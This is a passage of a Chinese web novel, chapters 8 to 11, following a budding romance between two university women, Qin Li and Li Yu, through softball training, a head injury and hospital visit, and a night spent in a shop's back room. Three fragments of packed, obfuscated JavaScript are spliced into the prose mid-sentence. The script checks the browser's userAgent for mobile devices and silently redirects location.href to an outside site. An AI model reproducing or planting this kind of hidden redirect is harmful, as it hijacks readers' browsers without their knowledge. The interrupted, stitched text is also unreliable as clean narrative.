秦离连忙跟了上去,和她并肩。 黎羽比秦离高半个头,步子更大些,秦离得走得急一点才能跟上她。黎羽注意到后,放小了步子,两人的脚步慢慢同频。 刚开始的一段路,两人都没有说话。秦离捏了捏手臂,转头偷偷瞄着黎羽的侧脸。 她的下颚线条分明,眼睛是上扬的丹凤眼,流转间有些散漫。 她的嘴唇有些薄,颜色微浅,心情不好时有抿嘴的习惯。 她的耳下有一颗小痣,在仰头时显得尤为明显。 灯光照过,好像能看见她脸上被映亮的小绒毛。 灯光…… 突然,她的手臂被人抓住,拽了回来。 “在看我?” 是……黎羽那一贯清冷的声音。 8. Chapter 8 秦离的身体颤了下,半天才回过神来,没底气地小声道:“……没有。” 台阶下,有汽车疾驰而过。见将人拉回安全地带,黎羽才松手:“小心看路。” 秦离这才注意到,人行道还是红灯,她刚才机械式往前走着,险些在马路上出事。 这下惊得她酒也醒得差不多了。 “谢谢。”她的声音依旧小小的。 “走吧。” 秦离有些懊恼,穿过马路再走两百米就到宿舍门口了。她按了按心口,鼓起勇气道:“那个……我们去河边走走吧。” 黎羽停下,看着她没有说话,眼神晦暗不明。 秦离更加紧张了,找补着:“就……刚吃了晚饭嘛,我们走走,消消食。” “……好。” 一期宿舍和外面商铺间的小河并不宽,只有十来米。两人顺着河边走着,晚风带着岸边的柳枝轻轻飘动。 一周没见了,秦离最关心的还是黎羽的伤势。 “你肩上的烫伤怎么样了? “已经好得差不多了。” “会影响打球吗?” “还好。” “哈哈,那就好哦。” 又是一阵沉默,秦离紧张地抓着手,不知道说什么。她并非是内向的人,之前面对黎羽也能侃侃而谈,然而一旦黎羽竖起那层看不见的防御,变得冷淡,她便不知道如何开口。 周围只有两人的脚步声和潺潺的流水声。 今晚是一轮明月,连着地面的霓虹灯将世间万物都照得分外明亮。 秦离又走神了,她低头看着石板,余光瞥见两人摇晃着的手臂和手指,交叉着。 ……时近…… ……时远…… 她不开心,逃离的情绪又产生了,嘴角落了下去,没精打采,像落水小狗。 “其实,”黎羽没有转头,目光落在了虚空处,突然开口,“还是有点影响。挥棒、接球和投球久了,扯着会有点痛。” “啊!那怎么办?有好好涂药吗。”秦离突然慌了,很担心,“我们要不要去医院看看?你又不能停止打球,比赛是什么时候,现在的训练量感觉很难好好休养啊。” 她念叨了很多,听到去像是球队的经理。 黎羽握拳轻咳了声,看不清神情,转了话题:“没事,再养一养就好,下周的训练量会小一点。” “真的没问题吗?”秦离还记得烫伤有部分在背部,停下脚步,看着黎羽,“你不要硬撑,如果难受我可以帮你涂药。” 想起那天的事情,秦离顿了下,补充道:“如果你不介意的话。” 黎羽愣住,显然也想起那天的事了。 她情绪仍然很平和,没有回避:“抱歉,那天我反应太激烈了。我不太习惯和人亲密接触,还有那几天……情绪不太好。” “怎么了?”秦离担忧,望向心上人的眼睛里全是对方。 “我家里的一些事。” “这样哦。”秦离没有多问,也没有再提涂药的事,“不用说抱歉啦,那天还是你救了我嘛,不然我的脸就惨了。” 秦离做了个哭哭的夸张表情,黎羽果然被她逗笑了。 空气流动起来,变得快活了。 两人的脚步又动了,黎羽感慨:“学妹真的是很活泼啊。” 这是允许接近的信号。秦离的胆子大了些,离得近了,两人衣袖擦着衣袖,手背若有若无地触碰。 那点还未完全散发的酒意助长了原本三分的念头,想到晚上李凌菲说的话,秦离试探着:“学姐已经大三了哦。” “嗯。” “平时都做什么呢?” “训练打比赛,在店里帮忙,上课,还有些其他事。” “这样哦。” “嗯。” “那……没有谈个恋爱什么的吗?” “嗯?”黎羽侧头看了秦离一眼,笑容莫测。 秦离莫名有些心虚,声音也大了些:“就,大家上了大学不都会谈场校园恋爱嘛。” 黎羽依旧笑着,笑得秦离心里有点发毛。 “那学妹有谈场校园恋爱吗?” “没有,”秦离遗憾摇头,“没办法,我喜欢的都不喜欢我,喜欢我的我又都不喜欢嘛。” 听上去可委屈了。 “我还以为你会有很多追求者呢。” “哪有……”秦离谦让地笑着,得到夸奖的心里倒是美滋滋的,“那你呢,感觉也会很多……很多人喜欢你呢,毕竟你这么好看。” “似乎是有?我也没太注意。” 这话让黎羽心里酸溜溜的,其实今晚她就注意到了,队里有两个女孩子看黎羽的眼神充满仰慕,只是害羞着不敢来多说话。 她心里的冲动越来越强烈,直白问道:“学姐现在是单身吗?” “嗯。” “那有喜欢的人吗?” “没有。” 天空中,月亮被层层云雾遮在了后面,看不见一丝光。 黎羽将滑落的背包往上提了提,声音听不出情绪:“这世界上有太多比恋爱重要的东西,没有也很好。” 秦离不懂:“其他事情当然也很重要,但总有办法能解决的。只有感情是最宝贵的,带来的每一刻回忆和情绪都值得被珍藏。” 秦离是感情至上主义者。 她喜欢爱情,也喜欢表达这种感情。即使从未和喜欢的人在一起过,也不后悔付出的每一次喜欢。 黎羽因她眼中的坚持而晃神,本想再说什么,又将那句像说教的话咽了回去。 所以才说,她们是不一样的啊。 “你这样也很好。”黎羽在转角处向左,进入一期侧门,“不早了,该回去了。” 秦离有点气闷。她直觉被黎羽当作不成熟的小孩了,想争辩什么又觉得说出来更显得幼稚,于是闷着不说话了。 两人就这么沉默着走到24栋楼下,秦离依旧气鼓鼓的,推开一楼门,想要直接走又有些舍不得,就这么抓着包带,站在台阶上看着黎羽,不肯走又不肯说话。 黎羽猜出她心里在想什么,觉得更像小孩子了。她语气如常:“后天队里有训练,还是在L大,再过一周我会继续回店里帮忙的。” 听她告诉自己之后的安排,黎羽倔着的心一下就软了。她顺着台阶下来,昏黄的路灯将黎羽的影子和她的影子映照在一起,像是亲密的拥抱。 “好哦,那我到时候去看你……你们训练。” “好。有事给我发消息。” “……只有有事才能发嘛。” “……我说不行你就不会发了?”黎羽叹气。 秦离害羞地笑着,不说话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370138|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎羽没脾气了:“都行,都十二点了,快上去睡吧。” 秦离眨眨眼:“最后一个问题!” “……” “嘿嘿,你住哪栋呀?” “……35栋。” “好^0^” 这下是彻底结束了,秦离依依不舍上楼,在每层的窗户向下望着。 她上楼后黎羽便走了,身影变小,很快陷入阴影处,看不见了。 到宿舍,陈小雨已经睡了。秦离蹑手蹑脚洗漱完,躺在床上便迫不及待发消息过去:【我洗漱完啦。[跳跳]】 对方没有反应,秦离又发了一条:【那早点休息吧,后天见,晚安。[害羞]】 几分钟后,手机亮了,有条新消息进来:【晚安。】 这之后,秦离便天天去看黎羽她们训练,很快和所有队员都认识了。她不再坐在铁丝网外的观众区,而是进到场地内,站在草坪旁近距离观看。 她们作为进攻方轮流上场打棒时,黎羽便会花时间给秦离讲解规则。垒球的规则并不算复杂,慢慢的秦离也能看得懂些了,得了更多的乐趣。 她最喜欢的就是看到有人顺利跑完全垒,奔跑着下来跟每个队友和观众击掌。 最最喜欢的就是这个人是黎羽。 这一刻的手心贴合,仿佛下一秒就要十指交缠。 每天都像是微醺着的,秦离为了来看训练,拒掉了和朋友的活动,游戏不打了,小说也不看了,连专业课都想逃掉。还是黎羽觉得时间不太对,多问了句,严肃说着不能翘课,秦离才不情不愿,又有甜蜜地应了,老老实实去上课。 终于能见到她老人家的李清韵愤愤道:“你这重色轻友的家伙,见一面还真是不容易啊。” 秦离望天,说话倒挺理直气壮:“我就是这样嘛,没办法,遇见喜欢的人怎么可能冷静。别气啦,之后我请你吃大餐。” “之后?” “嘿嘿,就是之后啦。” “……” 一周的时间,秦离已经习惯了每天早上起床便给黎羽发消息,跟她说着一天中各种有趣的事情和吐槽,断断续续一直聊到晚上,互道晚安后,再翻着之前的消息,慢慢品味。 黎羽消息不都回得很快,但秦离总是能第一时间看见。 大多时候是秦离说着,黎羽回应,秦离也不在乎。她知道,一段感情里总有主动的一方,她不介意做主动的人。 一周后,两人在店里干活的时间恢复,关系也更加亲近了。 黎羽的话不多,除了某些点外,大部分事情都不怎么在乎,怎样都行,由着秦离来。慢慢的,秦离的胆子也大了,多少表现出一点张牙舞爪的本性。 对着喜欢的人,她的声音更甜腻了,好像吃了蜜糖,跟黎羽站在一起,仿佛有无数的粉色泡泡将两人罩在一起,与他人隔开。 小何、大何、垒球队的所有人、秦离身边见过两人的所有人都察觉了,毕竟秦离的爱意表现得明目张胆。 黎羽好像都知道,又都不知道。 她的情绪一直很平稳,像是从未受到秦离的影响。这让秦离有些挫败,情绪也因黎羽的每句话、每个动作而起起伏伏,欢喜到极致,也低落到极致。 很快到了六月下旬,高校女子垒球联赛就要开始了。这之前发生了件意外,却是让秦离觉得离黎羽更近了些。 9. Chapter 9 联赛前七天,赛程提前出来了,E大所在小组的对手分别是S大——上一届高校联赛的冠军,T大——上一届亚军,和K大——今年据说有新晋王牌球员的种子队。 得知分组的那天,所有人都沉默了。 去年她们在小组赛便折戟而归,今年黎羽和李凌菲都大三了,这是她们最后的机会。 于是,每个人都默契加练,疯狂加练。 黎羽的话更少了,停掉上课和其他所有事,全身心投入训练之中。 秦离明白她和队友身上的压力,但也没有办法,只能默默陪伴。 时间走到联赛前三天,队里训练的时间已经延长到晚上十点了。场坪的高杆灯在绿色草地和赤色跑道上映出孤零零的影子。 秦离就站在场地旁,手里提着刚买的水和巧克力。 为了充分训练,垒球社请了专业教练加练,又拉来了社团所有人和隔壁棒球社的人来陪练。 汗水打湿了黎羽额头和脸颊的碎发,让它软趴趴地贴在皮肤上。 秦离其实也很累了。 她们训练了多久,她便在这里或站或蹲或坐了多久。她不舍得到铁丝网外的观众区去,那里太远了。 最近临近期末,主业和辅修的结课作业和即将开始的考试都不少,秦离只能熬夜去准备,还不得不停掉雅思课,计划之后再继续。 马上到十点了,场上还没有一点要结束的迹象。秦离坐在草坪边上,头微垂着,困意来袭,眼皮耷拉,整个人迷迷糊糊的。 “危险!” “小心!” “秦离!” 不同的声音响起,秦离大脑尚不清醒,还没反应过来,就感觉到有什么东西砸到自己头上,眼前一片黑。 “天啊,砸到头了!” “快喊急救车,快送医院!” “秦离,秦离?你们都让开,给她留出空间!” “副队……” 各种吵闹声混在一起,秦离感到头上的刺痛感和眩晕感越来越强,意识也逐渐模糊。昏迷前的最后一刻,她心想,好像是第一次听见黎羽的声音这么焦急啊…… 见秦离昏过去,黎羽脸上躁意更胜,让其他人不自觉离远了些。 她边让她靠在自己怀里,整理了下她的裙摆防止走光,边轻声唤着:“秦离,秦离?” 秦离的头微微动了动,难受地皱起眉头,好半天才睁开眼:“黎……羽?难受……想吐……” “乖啊,没事,救护车马上就来,我们去医院看看。”黎羽的声音很轻柔。 说了两句话,秦离又闭上眼睛,眉头始终没松开。 黎羽不敢动她,怕造成二次伤害,低声急切问李凌菲:“救护车还没来吗?” 李凌菲也有些慌,刚挂掉电话:“快了快了,我给七医院打的,她们就在旁边,救护车已经到大门口了。” 几分钟后,救护车到了,秦离被抬上担架。李凌菲安抚好队员,宣布今天训练结束,和相关队员、黎羽一起跟着救护车到了医院。 一系列检查下来,一个小时后,秦离终于彻底清醒了。李凌菲被私事召走,只留黎羽陪着她。 “从CT来看,有局部软组织损伤,没有开放性伤口,初步诊断是轻微脑震荡,已经做过紧急处理了,没什么大问题。24小时之内冷敷,24小时之后热敷,我开了点活血化瘀的药,按时服用,多休息,避免疲劳和过度用脑。先观察,如果有明显的头痛和呕吐现象及时来医院复诊。” 黎羽认真记下医生的嘱咐,感谢并将她送出去,回到病床前,扶着秦离坐起来:“还好吗?” 秦离刚才吐过一波,脸色有些发白:“还是晕……但比之前好些了。” 黎羽抿嘴,气压很低:“抱歉,这次是我队员的问题,她们太胡来了,我们也没做好安全防范。”说着,她让相关的两个队员进来道歉。 秦离已经从她口中知道来龙去脉了。 过长的训练时间,让一些本不是首发,平时训练也不积极的社员心有不满。她们在帮助训练活动时,就有些敷衍了事,打闹间不留神让球失去轨迹扔到场外,直到砸到秦离了才反应过来。 出事后两个小姑娘也都吓到了,六神无主,跟到医院后也一直在等检查结果。 “哎,这有什么,是我自己想站在场内的,她们也不是故意的,而且我不也没出什么大事吗,下次注意就好啦。” “对不起,学姐!”两个小姑娘眼眶红红的,秦离也看得不忍,眼看快十二点了,就让她们先回去。 两人怯怯向黎羽告别后便匆匆离开了,休息室又沉寂下来。 黎羽依旧抿着嘴站在那里不说话,身体很僵硬。 今天的训练从中午一直延续到晚上,她身上的白色球服已经在跑垒抢垒中沾染了许多污泥。 她的右手被无数次击球震得通红阵痛,手掌根和下颚有擦伤。 看上去有些狼狈。 “黎羽……”秦离有些心疼,她给自己的压力太大了。 “你想在这里休息还是回去?” “回去吧。”秦离觉得自己好多了,只是有点头晕,不想呆在医院里,“我们走回去吧。” “你可以?” “嗯,想吹吹风。” “好。” 还有十分钟就到十二点了。一期宿舍晚上十二点就要锁大门,再进去门卫大姐就要登记名字报给学校,因此大家都是要么十二点前回去,要么干脆早上回去。 七医院就在大学城里,但离宿舍也有1.5公里,走路要二十来分钟,走回去是肯定赶不上了。 但秦离没想起门禁的事,黎羽也没提。 今晚的夜风带着暖意,吹起来很柔和舒服。 回去的柏油路上没有人,车也很少,大片的地面被团团树荫藏在更深的阴影处。 两人的步伐很慢,黎羽一手提着药,比往日更加沉默。 走了一阵子,左前方不远处那片灯火通明,那是三街,大学城吃喝玩乐最聚集,夜生活最丰富的地方,网吧、酒吧、KTV、棋牌室、宾馆都在那边。 秦离主动开启话题:“你平时去三街玩吗?” “偶尔去。” “都玩些什么呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370139|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “队里有时来唱k吃宵夜。” “哇,你们不去酒吧吗?” “我不太喜欢。” “这样哦。” 秦离感慨:“我发现你平时基本不是店里就是垒球社耶。” “有……做一点其他事。” “咦?什么什么。” “……跟朋友一起搞了个创业的小公司。” “哇!都没听你说过,做什么方面的?” “文化传媒相关。” 秦离挠挠头,不太懂这些,但为了解黎羽更多一点而欢喜。 “之前都没听你说过,而且创业公司应该会很忙?”感觉黎羽基本都在学校,不过她也不知道她所有行程。 “嗯,目前主要她们在弄,我做一些线上运营。” “真厉害啊。” 秦离对社会生存法则一无所知。她家虽然算不上富裕,但从小没缺过钱,自认为感情比金钱更重要,想做什么,要么就是一时兴起为爱发电,要么就是付出多回报少,她也不在乎。 大学仍然是象牙塔,让她有理由再避几年风雨,因此在这期间就已经闯荡社会的人便让她尤为敬佩。特别是黎羽同时还在带学校的垒球社,就让她觉得更加厉害。 她拨拨指头,想想她自己,小提琴、英语、日语、写文、电脑技术,好像什么都会一点,现在呢,专业课、法学、雅思,上的课好像也挺多,动漫游戏cos小说呢接触不少,什么玩的领域也都碰上一碰,但真要说擅长什么,以后能做什么,她仍是两眼一抹黑。 每次想到未来,便觉得是一团迷雾。她心有期盼,却找不到前进的方向和脚下的路。 “这没什么。” 黎羽确实觉得自己没什么了不起。她不过是连脚都还没完全踏入社会的小虾米罢了,什么都不是,一点小风浪就能将她彻底击溃。面对秦离纯粹的崇拜,她只觉得有些苦涩。 垒球,算是唯一的慰藉了。 “真的真的很厉害啊!”秦离愁眉苦脸,“不像我,每天只会吃喝玩乐睡,哎,以后到底要做什么啊。” “能做什么就做什么。” “我和清韵还说到30岁一起开家动画公司呢,哈哈哈哈~”秦离乐观地想,还有十年呢,说不定会有什么办法? 黎羽沉默着,由着她说。 对未来的焦虑只是一瞬,走到三街旁,秦离很快转移了注意力:“对了,你吃过唐匠家的火锅吗?” “吃过几次。” “哎,我就大一第一学期吃过,拿学生证50块钱一个人呢。便宜好吃,品种又多,还有专门刨肥牛和表演的,高级啊。我们周周去吃,场场爆满,然后第一学期结束就关门了,肯定是太便宜被学生吃垮了哈哈哈哈~” “还有那个!……” 秦离的话题总是变得很快,对三街所有店都如数家珍,看来没少出来玩。黎羽时不时应一句,表情逐渐放松。 走到下一个转角处,秦离看到熟悉的高杆,兴奋起来,拉住黎羽的手臂,小跑过去。 “快来看这个,你绝对不能错过!” 10. Chapter 10 跑过十字马路,呕吐的感觉又从胃里翻滚上来,秦离扶着头晃了下,黎羽连忙扶住她:“晕着还乱跑。” 抬头间两人的脸离得如此近,皮肤的触碰、体温的传递让秦离心颤着,她声音也软软的:“想带你看这个嘛。” 黎羽环顾四周,除了黑黢黢的树丛和一块黑色的显示屏外,什么也没有。 “嘿嘿。”秦离狡黠地笑着。 这时,有辆汽车奔驰而过,显示屏上跳出数字:76。随着汽车远去,数字逐渐减小,最后归零,再时不时跳动几下。 “分贝测试仪?” 秦离小狗点头,带着发现宝藏的得意:“我们每次在三街通宵唱k后,压马路到这里就会对着这个狂喊,看谁喊的数字更大。” “……” 黎羽有些哭笑不得,感慨果然是物以类聚啊,她难以想象一伙人大半夜在这里大喊,就是为了看谁的声音更大。 秦离怂恿着:“你试试吧。” “……”黎羽觉得有些丢人,“我们走吧,时候不早了。” 秦离拉住她的手:“试试嘛,很好玩的,也很解压。” 黎羽的脚步更快了,但秦离死死拽住她,故意示弱道:“哎呀,头好晕,走不动了,走不动了~” 她声音听着就假得很,但是黎羽心中有愧,又担心她真的不舒服,没狠心走掉,也没松开手。 黎羽的手比秦离的大一些,干燥而温暖,手心有长期打球生长的茧,粗糙的触感让秦离手心发痒,却不敢动弹,怕提醒黎羽两人牵手的事。 “周围没有人,也没有房子,不用担心被听见啦,”秦离故意忽视两人相牵的手,“贴心”解释着,随后示范:“那我先来?” “等……”黎羽慌忙制止,见秦离已经张嘴蓄力,只能压低帽子,缩减自己的存在感。 “啊——” 怕再次晕眩,秦离收着力,没敢太大声,屏幕上数字跳动着,最终给了她个“61”的及格成绩。 她大失所望:“怎么才这点啊,我们平时可是以破百为目的的。” 说完,她转头看向黎羽,一双水汪汪的大眼睛眨巴眨巴。 “……” 黎羽欲言又止,在她期待的眼神中最终别扭着开口,测试仪无情地打出了“53”的不及格成绩。 “好了,我们快走吧。” 黎羽真觉得浑身蚂蚁在爬,恨不得马上藏到阴影里去。 “不行~”秦离瞪大眼睛,“你怎么喊得比我这个病人还小呀,我们每次路过一定要喊超一百才走的。” 说着,她不再收力,“哇”地大喊一声,把黎羽吓了一跳,测试仪长脸地跳出“87”。 这下弄得她眼前冒金星,脚下发软,黎羽连忙搂住她,语气严肃:“你不能再喊了。” 黎羽身上有一股淡淡青草的味道,秦离被她的气息环绕,心脏怦怦直跳。两人双目对视,秦离撒着娇:“你就再试一试嘛,试三次,三次结束我们就走。” 黎羽拿她没辙,看周围没有任何人,叹了口气,强调:“那只有三次。” “嗯嗯!^0^” 黎羽提了提背包,又把帽子压了压,挡住她大半张脸。 第一声,74。 秦离在旁边捧哏:“哇!比刚才高好多。” 黎羽身体更紧张了。 第二声,86。 秦离声音更欢喜了:“高了高了!再高点!” 黎羽眼睛也闭上了,睫毛轻颤,喊出最后一声。 测试仪数字跳动,攀上了三位数。 “哇!成功啦,破百啦,黎羽你太棒啦~” 秦离欢呼着抱住她,身体晃来晃去。 这时,两人身后隐隐约约传来脚步声,黎羽身体僵住,脸突然爆红。她拉着秦离疾步往前:“快走!” 秦离跟上她的步伐,直到两人走到下一条街,转头看身后没有人,才停下来。 这时,黎羽才反应过来,松开手问秦离:“你没事吧?” 秦离本来正为不能继续牵手而遗憾,余光瞥见黎羽脸上的绯红,目光诧异:“咦!你……你脸红了。” 黎羽脸上本来降下的热意再度攀升。她边说着“没有的事”边低头侧身往前走,但速度没有太快。 秦离愣了下,随后扑哧笑出声,说着:“黎羽,你好可爱啊,怎么这么容易害羞。” 黎羽闷着头往前走,坚决不回头。 两人就这么一前一后走着。走到大门紧闭的宿舍门口,秦离才反应过来:“糟了,我忘记已经十二点了。” 她眼咕噜转着,抬头望向大门右侧的水泥石柱。 黎羽直觉不太妙,生怕她又想出什么稀奇古怪的鬼点子,连忙道:“我们晚上可以去店里休息。” “店里?”秦离本来想说可以翻上大门右侧的水泥石柱,沿着边缘走进去。她们大一偶尔就是这么干的,就是得小心不要后仰摔进河里了呢。 “但我想洗澡,不想身上粘上味道。或者……”其实她还想说去宾馆,但又觉得说出来好像有点太轻浮了。 黎羽不知道她脑子里或危险或旖旎的想法,道:“你知道的,店二楼有个小房间,那里面也可以洗澡。” “好哦。”秦离乖巧应着。 跟着黎羽一起往外走,秦离才后知后觉,黎羽受伤那次她有看见…… 店里……好像只有一张单人床啊? 诶……诶? 秦离心跳再次加速,如果有个测试仪的话,那恐怕今晚已经爆表无数次了。 优秀满分选手。 卷帘门拉开又关上,打开房门,顶灯在刺啦声中亮起。黎羽从柜子里翻出浴巾和一套黑色的短袖长裤:“浴巾和衣服都是新的,都还没来得及用。” 昏黄的灯光让整个空间显得暧昧。黎羽的手指不自觉动了动,她低着头,目光不知落在何处,声音也像飘在了空中:“我是喜欢女生的,如果你介意的话,我可以去楼下,刚好公司有个项目方案需要熬夜完成。” 秦离不懂黎羽为什么突然说这个。见黎羽亲口承认了她早已知道的事情,她哪有什么介意,满是欢欣雀跃:“这有什么啦!我……我也……我先去洗澡!” 秦离抱着东西,转头一溜烟跑进洗漱间。 黎羽站在原地依旧是那个姿势,脸上突然勾起一丝笑容。 苦涩又自嘲的笑容。 洗漱间里,秦离对外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370140|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切一无所知。她小声哼着歌,连眉梢都张扬着喜气。 许久,她才用浴巾包着头发,带着水汽从里面出来:“我洗好啦,你快去吧。” 黎羽的目光依旧错开她的身影,点点头,擦身而过。 “吹风机在桌上。” 水汽让两人都变得柔和。黎羽也穿着黑色的长袖长裤,出来时秦离抱着膝盖坐在床上玩手机,浴巾披在肩上,看见她出来立马抬头,眼睛亮晶晶的:“你洗好啦。” “……嗯。” 看见她胸前布料被发梢水渍打湿,黎羽再度移开视线:“头发没有吹干吗?” “吹完要好久哦,太麻烦啦。” 秦离有一头乌黑的长发,一直到腰窝的位置,因此她总是很懒得将头发全部吹干,只吹完头皮草草了事。 “不吹干会头痛。”黎羽刚说一句,自觉有点像说教,把剩下的话咽了回去。 而且……衣服都透了,她刚刚隐约看到一点圆润的弧度,连忙挪开眼,不自觉喉头微动。 秦离浑然未觉,跳下床靠近她:“那你先吹呀,吹完我再继续。” 淡淡的柠檬香从秦离身上传来,是沐浴露的味道,混合着她的体温显得慵懒,跟黎羽身上的冷意不相同。 那热度离得太近了,黎羽不自觉往后仰了些,随后接过吹风机,坐到床尾。 秦离跟着坐了过去,用被子盖住下半身,假意玩手机,余光偷瞥着黎羽。 黎羽随意抓着头发,栗色的短发在指缝间滑过,水珠被指尖拂过,轻柔地消逝。 碎发遮住了她大半张脸,秦离只能看见她指节分明的手指,修长纤细,灵巧地动着。她不由得看痴了,有点难耐地动了动腰。 黎羽结束得很快,将吹风机递了回去:“好好吹。” “好哦。”秦离乖巧应着,将风档开到最大,透过黑发的缝隙继续偷看黎羽。 黎羽在床里侧靠墙坐着,将电脑放在膝盖上,开始敲打键盘。 秦离好奇,按捺住想要凑过去看的心,老老实实听黎羽的话一缕缕吹着头发。 二十多分钟后,秦离手都酸了,感受着长发的每一寸都热乎乎的,才终于挨了过去,头低到黎羽肩上要靠不靠的位置,好奇道:“是在做那个什么项目方案吗?” 屏幕上是某个政府活动项目,秦离看了看,似乎都是些很官方的音乐曲目,顿时失去兴趣。 “还要做多久呀?” “还要一会,你先睡吧。” 这张单人床有一米五,比宿舍的床还要宽点。黎羽坐在靠里的位置,旁边留出一大片空位。 这跟秦离想的有点不太一样。她有点失落,不想就这么睡过去,干脆躺下,打开艾诺迪亚3,挂着单边耳机,头就枕在黎羽旁边,模样乖巧。 “我也不困,玩会游戏。” “嗯。” 黎羽关掉顶灯,只留一盏小夜灯。一时间,房间里只有键盘声音。 过了十来分钟,黎羽听见手机砸下来的声音,秦离身体一抖,摸索着找到手机,揉了揉了眼睛,把声音调大了些。 过了两分钟,又是同样的声音。 黎羽叹了口气,扣上电脑,道:“都睡吧。” 11. Chapter 11 “嗯……” 秦离低吟着,收到信号,脑子里绷着那根弦终于放松,没几秒便睡着了。 她面朝黎羽,手放在胸前,身体微微蜷缩。 真是无忧无虑啊。 黎羽平躺下,望着灰色的天花板没有半点睡意。 她已经有快一年没和人睡在一张床上了,上一次还是…… 过往的伤痕仍让心口隐隐作痛,她意识到,今晚不应该让秦离过来。 秦离的感情总是表达得很热烈,喜怒哀乐,所有情绪都一览无遗,会让周围人都不自觉看过去,被她感染。 不过那也只是一时的。 寂静的夜里许多思绪都在翻滚,过去的,现在的,未来的,黎羽的情绪越来越低落,某个瞬间甚至想现在便起床,去到球场。 训练吧,在只有她自己的球场。 突然,黎羽感觉有温热的气息落在自己肩上。她的身体颤了颤,转头看见秦离被子落空了一半,身体蜷得更厉害,本能朝热源靠近。 她有着姣好的身材,曲线妙曼,皮肤白皙,脸偏圆,带着点婴儿肥,睡着时嘴微张着,露出点门牙,看上去像只兔子。 黎羽给她盖上被子,将身躯遮挡得严严实实,自己朝靠墙的位置挪了挪,直到感受不到那股气息,才放松下来。 找到安全感,黎羽再度陷入阴霾,还没低沉几分钟,一条横过来的手臂搭到她身上,再度打断她的状态。 “……” 黎羽盯着秦离的脸,盯了好半天,对方毫无反应。她睡得很甜,睫毛阴影落在下眼睑,一动不动。 黎羽背后抵着墙,已经退无可退了。她将秦离的手臂轻轻提起来放回她身侧,没过几分钟对方又搭了回来。 这次不仅是手臂,她的身体蹭了蹭,也挪得更近了,温软圆润的触感紧贴着黎羽。黑暗里,柠檬香被温得更加浓烈,呼吸也变得厚重,每一下都让皮肤战栗。 “……” 要不是刚刚确认过秦离睡得很熟,黎羽都要怀疑她是故意的了。 她稍微动了动,换来的是秦离手臂箍紧,眉头动了动,还不太满意的样子。 黎羽哭笑不得,没辙,就着这个姿势,只是将头别过去对着墙壁,闭上眼。 本以为这会是个难熬的夜晚,但出乎意料,没多久,困意便来袭,再醒来时已经天光大亮,八点了。 黎羽依旧保持着那个姿势,脖子有点酸。秦离这会倒是大变样,已经转到另外一边去了,背对着她,裹走了大半被子,将头埋在里面。 睡得很恣意。 黎羽放轻动作,简单洗漱后便出去了,下楼时正好遇见何旭刚开门进来。 何旭习以为常:“昨晚又没回去?” “嗯。” 她犹豫了下,去隔壁买了杯蔬菜粥,一个麻婆豆腐包和香菇青菜包,放在小房间桌上。 再下来时,何旭诧异:“你带了人?” “别说得那么奇怪,是秦离。她昨天被垒球砸到了,我送她去了医院,回来时太晚了,就跟我在上面将就了一晚。” “哦~”何旭难得也有点八卦的心思,“原来不是章远瞎起哄,你是真的对秦离有好感啊。” “别乱想,”黎羽抓了抓头发,挡住自己的眼神,“你让她们都别上去,她还在睡。” “行,不过十一点半店里就陆续有客人了。” “我知道。上午还有课,我先走了。” “ok。” 上午是专业课,已经开始了,黎羽难得出现,从后门遛了进去,室友陈玲嘉连忙招她过去一起坐,小声道:“哇,小羽,好难得看你来上课,不过你昨晚又没回来啊?” 陈玲嘉算是垒球社之外黎羽难得关系还不错的朋友。她个子高高的,声音却天然带嗲,但不让人反感,显得很可爱。 黎羽找个舒服的姿势趴下,含混道:“太晚了。” “又在店里啊?那里睡着怎么也没宿舍舒服呀。” 黎羽没说话,陈玲嘉倒是很懂她,继续道:“回来呗,另外两个最近没在,一个实习住家里,一个接生意去了。” 陈玲嘉还好,黎羽跟宿舍里另外两个人都不太对付,特别是她们知道她的性向后,一脸遇见脏东西的表情,平日里洗澡换衣服都小心翼翼藏着,像是生怕被偷窥占便宜似的。 黎羽只觉得她们恶心,平时更不爱回宿舍。 “知道了。”黎羽闭上眼准备小憩。 难得逮着人了,陈玲嘉哪是一两句能聊得完的:“我听说你最近有个走的近的学妹也,天天去看你训练,什么情况呀?” “别问。”黎羽暂时不想去想秦离的事,头埋进了臂弯。 “行吧,那中午一起吃饭!”陈玲嘉跳过这个话题,心里却更好奇了。之前那么多追求者,也没见黎羽是这个反应呀。 秦离是被电话铃声吵醒的。她迷迷糊糊抓过手机,是妈妈的声音,黎羽已经不在房间里了。 “勺勺,都十一点半了还在睡哦?” “唔,上午没课嘛。”谎话,其实上午是有课的,只是不太重要,秦离也没打算去。但逃课这种事还是不要让妈爸知道啦。 “还是少睡点懒觉,多起来活动活动撒。” “哎呀,晓得咯晓得咯,不说这个嘛。” 